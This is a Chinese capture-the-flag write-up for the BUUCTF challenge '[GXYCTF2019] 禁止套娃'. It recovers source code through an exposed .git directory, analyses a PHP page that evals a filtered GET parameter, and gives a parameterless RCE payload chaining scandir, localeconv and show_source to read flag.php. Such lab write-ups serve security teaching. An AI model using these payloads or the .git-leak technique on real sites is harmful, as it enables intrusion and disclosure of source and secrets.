BUUCTF-[GXYCTF2019]禁止套娃
考點:.git洩露、無引數RCE
用wscan掃到了/.git
目錄
利用GitHack下載到原始碼
index.php:
<?php include "flag.php"; echo "flag在哪裡呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("還差一點哦!"); } } else{ die("再好好想想!"); } } else{ die("還想讀flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
分析原始碼得出:
1、flag在flag.php
2、GET傳參exp
3、過濾了data://、filter://、php://、phar://這些偽協議,就不能用偽協議讀flag.php
4、preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
用preg_replace()替換匹配到的字元為NULL空。
參考:無引數讀檔案和RCE總結
關於(?R)?
:
(?R)?
菜雞在這裡糾結了很長時間,還是理解不了
傳入的exp引數只能包含小寫字母、,、_、(),還要以;結尾
5、過濾了一些函式,像et,file_get_contents()就不能用
無引數RCE要用到的幾個函式:
- print_r(scandir('.'));檢視當前目錄下的所有檔名
- localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。
- current() 函式返回陣列中的當前元素(單元),預設取第一個值,和pos()一樣
先檢視當前目錄下的所有檔名,但是這題不能有引數,找一個代替'.'
的東西
print_r(scandir(current(localeconv())));打印出當前目錄下檔案
?exp=print_r(scandir(current(localeconv())));
flag.php在倒數第二個,直接用next(array_reverse());
paylaod:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
解題參考:
https://www.gem-love.com/ctf/530.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.lovexyu.xyz/art.php?art_id=58
https://www.suk1.top/2020/02/05/GXY套娃/#array-rand-array-flip